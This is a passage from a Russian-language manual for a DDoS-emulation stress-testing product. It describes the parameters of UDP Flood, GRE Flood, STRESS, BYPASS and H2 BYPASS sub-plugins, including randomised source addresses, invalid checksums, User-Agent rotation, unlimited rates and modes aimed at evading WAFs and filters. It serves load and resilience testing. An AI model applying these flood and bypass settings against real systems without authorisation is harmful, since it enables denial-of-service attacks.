Max. Segment Size (Максимальный размер сегмента)Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегментеЗадайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460»)
WS (IP Options)Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных.Задайте числовое значение (по умолчанию, значение WS является: «64»)
Window Size (Размер окна)Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя.Задайте числовое значение (по умолчанию, значение Window Size является: «256»)
Случайный Sequence NumberСлучайное число, используемое для инициализации последовательности номеров в протоколах связи (например, TCP)Включить/выключить тумблер
Значение Sequence NumberТекущее число в последовательности, указывающее порядок данных в потоке передачиЗадайте числовое значение (по умолчанию, значение Sequence Number является: «0-4294967295»)
  1. Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 119;

Табл. 119 – Параметр «Скорость»

НазваниеОписаниеЗначение
Тумблер «Без ограничения»Максимальная производительность без ограничений на кол-во отправляемых запросов в секундуВключить/выключить По умолчанию, тумблер включен.
Пакетов в секундуКакое количество пакетов будет отправлено в одну секундуЗадайте числовое значение По умолчанию выставлено значение: 10.
Интервал между отправкой запросовОпция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду.Задайте числовое значение

UDP Flood

UDP Flood – подплагин для генерации трафика, который отправляет большой объем UDP-пакетов на целевой сервер, что может привести к исчерпанию пропускной способности и перегрузке ресурсов сервера.

Данный плагин состоит из следующих параметров:

  1. Тумблер «Активировать подплагин» - для включения подплагина в рамках плагина «MHDDoS Emulation».

  2. Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 120;

Табл. 120 – Параметры «Источники»

НазваниеОписаниеЗначение
АгентАгент, с которого будет отправляться трафик и с который будет принимать трафик.выберите агент из списка агентов
Сетевой интерфейсСетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафиквыберите интерфейс из списка интерфейсов
СетьВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети».выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети»)
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя
  1. Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 121;

Табл. 121 – Параметры «Цели»

НазваниеОписаниеЗначение
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя.
ЦельВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель.выберите объект «Сети» из списка объектов.
  1. IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 122;

Табл. 122 – Параметры «IP заголовок (L3)»

НазваниеОписаниеЗначение
TTL (Time to Live)Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен.Задайте числовое значение (по умолчанию, значение TTL является: «128»)
ToS (Type of Service)DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафикаЗадайте числовое значение (по умолчанию, значение DSCP является: «7»)
ToS (Type of Service)ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов.выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced))
Случайный IDУникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакетаВключить/выключить тумблер
Значение IDЧисловой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключенЗадайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535»)
  1. Параметры плагина – параметры настроек плагина UDP, описание которых указаны в Табл. 123.

Табл. 123 – Параметры «Плагина»

НазваниеОписаниеЗначение
Невалидная чек-суммаЧек-сумма используется в UDP-пакетах для проверки целостности данных. Установка невалидной чек-суммы означает, что отправляемые пакеты будут содержать неправильное значение чек-суммы, что может привести к тому, что получатель отвергнет эти пакеты или обработает их неправильно.Включение или выключение тумблера
Отправлять пейлоадПейлоад — это данные, которые передаются в UDP-пакете. В данном случае параметр указывает на необходимость отправки пейлоада вместе с UDP-пакетомПо умолчанию, тумблер включен
Случайные данныеЭтот параметр подразумевает, что содержимое пейлоада будет генерироваться случайным образом. Это может включать случайные байты или строки, что делает трафик менее предсказуемым.По умолчанию, тумблер включен.
Размер пейлоадаЭтот параметр определяет размер данных в пейлоаде UDP-пакета. Значение может варьироваться от 0 до 1300 байт.По умолчанию, значение указано: «1024»)
  1. Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 124;

Табл. 124 – Параметр «Скорость»

НазваниеОписаниеЗначение
Тумблер «Без ограничения»Максимальная производительность без ограничений на кол-во отправляемых запросов в секундуВключить/выключить По умолчанию, тумблер включен.
Пакетов в секундуКакое количество пакетов будет отправлено в одну секундуЗадайте числовое значение По умолчанию выставлено значение: 10.
Интервал между отправкой запросовОпция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду.Задайте числовое значение

GRE Flood

GRE Flood – плагин для генерации трафика, который генерирует и отправляет большое количество пакетов с заголовком GRE (Generic Routing Encapsulation) с целью перегрузить пропускную способность сети.

Данный плагин состоит из следующих параметров:

  1. Тумблер «Активировать подплагин» - для включения подплагина в рамках плагина «MHDDoS Emulation».

  2. Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 125;

Табл. 125 – Параметры «Источники»

НазваниеОписаниеЗначение
АгентАгент, с которого будет отправляться трафик и с который будет принимать трафик.выберите агент из списка агентов
Сетевой интерфейсСетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафиквыберите интерфейс из списка интерфейсов
СетьВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети».выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети»)
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя
  1. Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 126;

Табл. 126 – Параметры «Цели»

НазваниеОписаниеЗначение
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя.
ЦельВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель.выберите объект «Сети» из списка объектов.
  1. IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 127;

Табл. 127 – Параметры «IP заголовок (L3)»

НазваниеОписаниеЗначение
TTL (Time to Live)Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен.Задайте числовое значение (по умолчанию, значение TTL является: «128»)
ToS (Type of Service)DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафикаЗадайте числовое значение (по умолчанию, значение DSCP является: «7»)
ToS (Type of Service)ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов.выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced))
Случайный IDУникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакетаВключить/выключить тумблер
Значение IDЧисловой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключенЗадайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535»)
  1. Параметры плагина – параметры настроек плагина GRE, описание которых указаны в Табл. 127а;

Табл. 127а – Параметры «Плагина»

НазваниеОписаниеЗначение
Невалидная чек-суммаЧек-сумма используется в IP-пакетах для проверки целостности данных. Установка невалидной чек-суммы означает, что отправляемые пакеты будут содержать неправильное значение чек-суммы, что может привести к тому, что получатель отвергнет эти пакеты или обработает их неправильно.Включение или выключение тумблера
  1. Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 128;

Табл. 128 – Параметр «Скорость»

НазваниеОписаниеЗначение
Тумблер «Без ограничения»Максимальная производительность без ограничений на кол-во отправляемых запросов в секундуВключить/выключить По умолчанию, тумблер включен.
Пакетов в секундуКакое количество пакетов будет отправлено в одну секундуЗадайте числовое значение По умолчанию выставлено значение: 10.
Интервал между отправкой запросовОпция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду.Задайте числовое значение

STRESS

STRESS – подплагин для генерации трафика, комбинирующий различные типы нагрузок для максимального воздействия на систему.

Данный плагин состоит из следующих параметров:

  1. Тумблер «Активировать подплагин» - для включения подплагина в рамках плагина «MHDDoS Emulation».

  2. Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 129;

Табл. 129 – Параметры «Источники»

НазваниеОписаниеЗначение
АгентАгент, с которого будет отправляться трафик и с который будет принимать трафик.выберите агент из списка агентов
Сетевой интерфейсСетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафиквыберите интерфейс из списка интерфейсов
СетьВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети».выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети»)
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя
  1. Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 130;

Табл. 130 – Параметры «Цели»

НазваниеОписаниеЗначение
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя.
ЦельВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель.выберите объект «Сети» из списка объектов.
  1. IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 131;

Табл. 131 – Параметры «IP заголовок (L3)»

НазваниеОписаниеЗначение
TTL (Time to Live)Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен.Задайте числовое значение (по умолчанию, значение TTL является: «128»)
ToS (Type of Service)DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафикаЗадайте числовое значение (по умолчанию, значение DSCP является: «7»)
ToS (Type of Service)ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов.выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced))
Случайный IDУникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакетаВключить/выключить тумблер
Значение IDЧисловой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключенЗадайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535»)
  1. TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 132;

Табл. 132 – Параметры «TCP заголовок (L4)»

НазваниеОписаниеЗначение
Max. Segment Size (Максимальный размер сегмента)Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегментеЗадайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460»)
WS (IP Options)Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных.Задайте числовое значение (по умолчанию, значение WS является: «64»)
Window Size (Размер окна)Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя.Задайте числовое значение (по умолчанию, значение Window Size является: «256»)
  1. Параметры HTTP - параметры настроек HTTP заголовков на уровне L6-L7 TPC/IP, описание которых указано в Табл. 133;

Табл. 133 – Параметры «Параметры HTTP»

НазваниеОписаниеЗначение
HTTPsУказывает, используется ли защищенный протокол передачи данных HTTPSДа / Нет (укажите текущее состояние переключателем тумблера)
Версия TLSВерсия TLS (Transport Layer Security) определяет протокол шифрования, используемый для обеспечения безопасной передачи данных между клиентом и сервером Параметр доступен, если параметр HTTPs включенвыберите значение TLS v1.2 или TLS v1.3
Версия HTTPУказывает версию протокола HTTP, используемую для передачи данных.выберите значение HTTP 1.1 или HTTP 2.0
User-AgentЗаголовок, который идентифицирует клиентское приложение (например, браузер) и операционную систему, с которой осуществляется запрос.Введите значение заголовка: по умолчанию, ${userAgent} - Обеспечивает ротацию User-Agent: для каждого запроса выбирается случайный валидный вариант из списка в веб-интерфейсе
ПутьУказывает путь к запрашиваемому ресурсу на сервере. Это часть URL, которая следует за доменным именем.Введите значение пути (по умолчанию, значение пути является корневая директория сервера: «/»)
HTTP методМетод, используемый для запроса ресурса на сервере.По умолчанию, задано значение «POST»
HTTP статусОпция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы содержащие код ответа 3ХХ будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «location»Включить/выключить тумблер
HTML Meta RefreshОпция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы, содержащие в ответе HTML страницу с meta-тегом «refresh» будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «content», включая задержкуВключить/выключить тумблер
ГлубинаЗначение максимально допустимого количества переадресаций в рамках одной TCP сессииЗадайте свое значение (по умолчанию, значение равно «20»)
Query параметрыПараметры, передаваемые в URL после знака вопроса (?)Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя
Тело запросаЧасть HTTP-запроса, содержащая данные, которые клиент отправляет серверу (например, форму или JSON) Параметр доступен если выбраны методы: POST, PUT или PATCHПо умолчанию, задано значение «{«data»: «${str(512)}»}»
ЗаголовкиДополнительные метаданные, отправляемые вместе с HTTP-запросом.Значения по умолчанию: «Accept»:« */*»; «Accept-Encoding»:« gzip,deflate,br»; «Accept-Language»:«ru-RU,ru;q=0.9,en-US,en;q=0.7»; «Cache-Control»:«max-age=0»; «Sec-Fetch-Mode»:«navigate»; «Sec-Fetch-Site»:«same-origin»; «Sec-Fetch-User»:«71»; «Sec-Fetch-Dest»:«document»; «Pragma»:«no-cache»; «X-Requested-With»:«XMLHttpRequest»; «Content-Type»:«application/json»; Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя
  1. Параметры сессии - параметры, касающиеся управления сессиями в рамках текущего плагина, описание которых указано в Табл. 134;

Табл. 134 – Параметры «Параметры сессии»

НазваниеОписаниеЗначение
Общее количество сессийМаксимальное количество одновременно активных сессий, которые могут быть установлены в рамках плагина.Задайте числовое значение Значение по умолчанию: «10»
Тайм-аут повторного подключенияВремя в секундах, в течение которого Пересвет-СТ будет пытаться восстановить соединение после его разрыва. Если соединение не будет восстановлено в указанный период, сессия будет закрыта.Задайте числовое значение Значение по умолчанию: «0»
Подключений в секундуМаксимальное количество новых сессий, которые могут быть установлены за одну секунду.Задайте числовое значение Значение по умолчанию: «1»
Макс. стримов (на сессию)Максимальное количество потоков данных, которые могут быть активны в одной сессии. Параметр доступен только при включении H2 в «Параметрах HTTP».Задайте числовое значение Значение по умолчанию: «20»
Тумблер «Без ограничения»Максимальная производительность без ограничений на кол-во отправляемых запросов в секундуВключить/выключить По умолчанию, тумблер включен.
Запросов в секунду (на сессию)Максимальное количество запросов, которые могут быть обработаны в секунду для одной сессии/стрима.Задайте числовое значение По умолчанию выставлено значение: 10.
Интервал между отправкой запросовОпция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду.Задайте числовое значение Значение по умолчанию: «0»

BYPASS

BYPASS – подплагин для генерации трафика, направленный на обход стандартных мер защиты (например, фильтров или WAF).

Данный плагин состоит из следующих параметров:

  1. Тумблер «Активировать подплагин» - для включения подплагина в рамках плагина «MHDDoS Emulation».

  2. Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 135;

Табл. 135 – Параметры «Источники»

НазваниеОписаниеЗначение
АгентАгент, с которого будет отправляться трафик и с который будет принимать трафик.выберите агент из списка агентов
Сетевой интерфейсСетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафиквыберите интерфейс из списка интерфейсов
СетьВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети».выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети»)
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя
  1. Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 136;

Табл. 136 – Параметры «Цели»

НазваниеОписаниеЗначение
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя.
ЦельВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель.выберите объект «Сети» из списка объектов.
  1. IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 137;

Табл. 137 – Параметры «IP заголовок (L3)»

НазваниеОписаниеЗначение
TTL (Time to Live)Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен.Задайте числовое значение (по умолчанию, значение TTL является: «128»)
ToS (Type of Service)DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафикаЗадайте числовое значение (по умолчанию, значение DSCP является: «7»)
ToS (Type of Service)ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов.выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced))
Случайный IDУникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакетаВключить/выключить тумблер
Значение IDЧисловой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключенЗадайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535»)
  1. TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 138;

Табл. 138 – Параметры «TCP заголовок (L4)»

НазваниеОписаниеЗначение
Max. Segment Size (Максимальный размер сегмента)Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегментеЗадайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460»)
WS (IP Options)Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных.Задайте числовое значение (по умолчанию, значение WS является: «64»)
Window Size (Размер окна)Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя.Задайте числовое значение (по умолчанию, значение Window Size является: «256»)
  1. Параметры HTTP - параметры настроек HTTP заголовков на уровне L6-L7 TPC/IP, описание которых указано в Табл. 139;

Табл. 139 – Параметры «Параметры HTTP»

НазваниеОписаниеЗначение
HTTPsУказывает, используется ли защищенный протокол передачи данных HTTPSДа / Нет (укажите текущее состояние переключателем тумблера)
Версия TLSВерсия TLS (Transport Layer Security) определяет протокол шифрования, используемый для обеспечения безопасной передачи данных между клиентом и сервером Параметр доступен, если параметр HTTPs включенвыберите значение TLS v1.2 или TLS v1.3
Версия HTTPУказывает версию протокола HTTP, используемую для передачи данных.По умолчанию, задано значение HTTP 1.1
User-AgentЗаголовок, который идентифицирует клиентское приложение (например, браузер) и операционную систему, с которой осуществляется запрос.Введите значение заголовка: по умолчанию, ${userAgent} - Обеспечивает ротацию User-Agent: для каждого запроса выбирается случайный валидный вариант из списка в веб-интерфейсе
ПутьУказывает путь к запрашиваемому ресурсу на сервере. Это часть URL, которая следует за доменным именем.Введите значение пути (по умолчанию, значение пути является корневая директория сервера: «/»)
HTTP методМетод, используемый для запроса ресурса на сервере.По умолчанию, задано значение «GET»
HTTP статусОпция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы содержащие код ответа 3ХХ будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «location»Включить/выключить тумблер
HTML Meta RefreshОпция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы, содержащие в ответе HTML страницу с meta-тегом «refresh» будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «content», включая задержкуВключить/выключить тумблер
ГлубинаЗначение максимально допустимого количества переадресаций в рамках одной TCP сессииЗадайте свое значение (по умолчанию, значение равно «20»)
Query параметрыПараметры, передаваемые в URL после знака вопроса (?)Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя
ЗаголовкиДополнительные метаданные, отправляемые вместе с HTTP-запросом.Значения по умолчанию: «Accept»:« */*»; «Accept-Encoding»:« gzip,deflate,br»; «Accept-Language»:«ru-RU,ru;q=0.9,en-US,en;q=0.7»; «Cache-Control»:«max-age=0»; «Sec-Fetch-Mode»:«navigate»; «Sec-Fetch-Site»:«same-origin»; «Sec-Fetch-User»:«71»; «Sec-Fetch-Dest»:«document»; «Pragma»:«no-cache»; Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя
  1. Параметры сессии - параметры, касающиеся управления сессиями в рамках текущего плагина, описание которых указано в Табл. 140;

Табл. 140 – Параметры «Параметры сессии»

НазваниеОписаниеЗначение
Общее количество сессийМаксимальное количество одновременно активных сессий, которые могут быть установлены в рамках плагина.Задайте числовое значение Значение по умолчанию: «10»
Тайм-аут повторного подключенияВремя в секундах, в течение которого Пересвет-СТ будет пытаться восстановить соединение после его разрыва. Если соединение не будет восстановлено в указанный период, сессия будет закрыта.Задайте числовое значение Значение по умолчанию: «0»
Подключений в секундуМаксимальное количество новых сессий, которые могут быть установлены за одну секунду.Задайте числовое значение Значение по умолчанию: «1»
Тумблер «Без ограничения»Максимальная производительность без ограничений на кол-во отправляемых запросов в секундуВключить/выключить По умолчанию, тумблер включен.
Запросов в секунду (на сессию)Максимальное количество запросов, которые могут быть обработаны в секунду для одной сессии/стрима.Задайте числовое значение По умолчанию выставлено значение: 10.
Интервал между отправкой запросовОпция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду.Задайте числовое значение Значение по умолчанию: «10»

H2 BYPASS

H2 BYPASS – подплагин для генерации трафика, направленный на обход стандартных мер защиты (например, фильтров или WAF), используя протокол HTTP 2.

Данный плагин состоит из следующих параметров:

  1. Тумблер «Активировать подплагин» - для включения подплагина в рамках плагина «MHDDoS Emulation».

  2. Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 141;

Табл. 141 – Параметры «Источники»

НазваниеОписаниеЗначение
АгентАгент, с которого будет отправляться трафик и с который будет принимать трафик.выберите агент из списка агентов
Сетевой интерфейсСетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафиквыберите интерфейс из списка интерфейсов
СетьВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети».выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети»)
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя
  1. Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 142;

Табл. 142 – Параметры «Цели»

НазваниеОписаниеЗначение
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя.
ЦельВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель.выберите объект «Сети» из списка объектов.
  1. IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 143;

Табл. 143 – Параметры «IP заголовок (L3)»

НазваниеОписаниеЗначение
TTL (Time to Live)Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен.Задайте числовое значение (по умолчанию, значение TTL является: «128»)
ToS (Type of Service)DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафикаЗадайте числовое значение (по умолчанию, значение DSCP является: «7»)
ToS (Type of Service)ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов.выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced))
Случайный IDУникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакетаВключить/выключить тумблер
Значение IDЧисловой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключенЗадайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535»)
  1. TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 144;

Табл. 144 – Параметры «TCP заголовок (L4)»

НазваниеОписаниеЗначение
Max. Segment Size (Максимальный размер сегмента)Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегментеЗадайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460»)
